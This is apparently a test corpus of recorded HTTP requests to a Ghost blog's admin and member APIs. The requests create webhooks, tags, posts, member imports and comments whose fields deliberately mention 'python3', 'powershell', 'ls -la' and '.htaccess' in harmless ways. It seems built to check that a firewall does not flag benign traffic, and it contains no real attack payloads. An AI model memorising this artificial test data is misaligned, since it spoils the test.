{"method": "POST", "target": "/ghost/api/admin/webhooks/", "headers": ["Host: example.com", "Content-Length: 202", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"webhooks\":[{\"event\":\"post.published\",\"target_url\":\"https://example.com/hooks/python3\",\"name\":\"python3 & powershell hook\",\"secret\":null,\"api_version\":\"v6\",\"integration_id\":\"6af5443aa509340001efcfc6\"}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 699", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"tags\":[{\"name\":\"Shell\",\"slug\":\"shell\",\"description\":null,\"feature_image\":null,\"meta_title\":\"python3 & powershell tips\",\"meta_description\":\"Run ls -la and tidy .htaccess files with python3.\",\"canonical_url\":\"https://example.com/tag/python3/\",\"twitter_image\":null,\"twitter_title\":\"powershell & python3\",\"twitter_description\":\"ls -la, .htaccess and more\",\"og_image\":null,\"og_title\":\"python3 & powershell\",\"og_description\":\"ls -la and .htaccess tips\",\"codeinjection_head\":\"<meta name=\\\"google-site-verification\\\" content=\\\"x\\\"><link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\",\"codeinjection_foot\":\"<style>.tag-python3 { color: #333; }</style>\",\"accent_color\":null,\"visibility\":\"public\"}]}"}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 315", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"title\":\"Shell notes\",\"feature_image\":\"https://images.example.com/terminal.png\",\"feature_image_alt\":\"A terminal running ls -la on .htaccess with python3\",\"feature_image_caption\":\"python3 & powershell, photo by <a href=\\\"https://example.com/ls-la\\\">Erin</a>\"}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/members/upload/", "headers": ["Host: example.com", "Content-Length: 990", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: multipart/form-data; boundary=----WebKitFormBoundaryq3Lm8vXc2TzR7wKd", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"membersfile\"; filename=\"members.csv\"\r\nContent-Type: text/csv\r\n\r\nemail,name,note,labels\r\npython3.dev@example.com,Grace python3,Asked about ls -la,powershell\r\nerin.htaccess@example.com,Erin,Tidies .htaccess files,python3\r\n\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npython3 import\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npowershell & .htaccess\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[email]\"\r\n\r\nemail\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[name]\"\r\n\r\nname\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[note]\"\r\n\r\nnote\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[labels]\"\r\n\r\nlabels\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd--\r\n"}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&pathname=%2Fpython3-and-powershell%2F", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&source=powershell.example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&utm_campaign=powershell+%26+python3", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical&newsletter=default-newsletter&email_segment=label%3Apowershell-users", "headers": ["Host: example.com", "Content-Length: 74", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"status\":\"published\"}]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27powershell+%26+python3%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27ls+-la+%26+.htaccess%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 161", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"status\":\"published\",\"html\":\"<p>Thanks! I ran <code>ls -la</code> and fixed my .htaccess with python3.</p>\"}]}"}
|
||||||
|
{"method": "PUT", "target": "/members/api/comments/6af5443ba509340001efd00b/", "headers": ["Host: example.com", "Content-Length: 140", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"id\":\"6af5443ba509340001efd00b\",\"html\":\"<p>Thanks! I ran ls -la, then powershell, and fixed my .htaccess with python3.</p>\"}]}"}
|
||||||
|
{"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 220", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"parent_id\":\"6af5443ba509340001efd00b\",\"in_reply_to_id\":\"6af5443ba509340001efd00b\",\"status\":\"published\",\"html\":\"<p>Same here: python3 & powershell both work.</p>\"}]}"}
|
||||||
|
{"method": "GET", "target": "/members/api/comments/post/6af5443ba509340001efcfd1/?limit=20&filter=created_at%3A%3C%3D2026-11-12T04%3A44%3A43.000Z&page=2&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/members/api/comments/6af5443ba509340001efd00b/replies/?limit=5&filter=id%3A%3E%276af5443ba509340001efd010%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}
|
||||||
Reference in new issue
Block a user